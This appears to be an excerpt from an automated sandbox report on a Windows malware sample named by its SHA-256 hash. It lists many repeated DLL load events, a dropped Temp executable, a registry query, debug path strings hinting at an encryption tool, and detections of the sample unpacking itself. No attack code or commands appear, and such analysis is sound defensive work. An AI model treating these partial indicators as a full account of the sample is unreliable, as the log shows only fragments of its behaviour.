Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: drprov.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: davclnt.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: browcli.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Section loaded: ncryptsslp.dll

Source: C:\Users\user\AppData\Local\Temp\RranN.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923188617.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923193912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000B.00000002.1863808693.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000D.00000002.1874166831.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000010.00000002.1940971329.0000000002250000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\nacu.pdb source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.2.dr
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\~C source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2925642904.0000000003490000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2924949779.000000000301C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\20\ source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2924949779.0000000002FAF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2876107068.0000000003460000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: DISCOV~1.WDLen-CHlmp.pdb source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2924949779.000000000301C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\\e source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2917165731.0000000002FBC000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2924949779.0000000002FAF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Data\svn\autoit\branch_3.3.16\bin\SciTE\SciTE.pdb source: SciTE.exe.1.dr
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\ta\\ source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000003.2917165731.0000000002FBC000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2924949779.0000000002FAF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2923188617.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000A.00000002.2923193912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000B.00000002.1863808693.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 0000000D.00000002.1874166831.0000000000400000.00000040.00000400.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000010.00000002.1940971329.0000000002250000.00000040.00001000.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\sh\odct\1105_210049_0\client\onedrive\Setup\Standalone\exe\obj\i386\OneDriveSetup.pdb source: wctF86A.tmp.9.dr
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\ source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2925642904.0000000003490000.00000004.00000020.00020000.00000000.sdmp, A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe, 00000009.00000002.2924949779.0000000002FAF000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\RranN.exe	Unpacked PE file: 1.2.RranN.exe.b40000.0.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Unpacked PE file: 2.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;4\ud:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Unpacked PE file: 9.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;4\ud:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
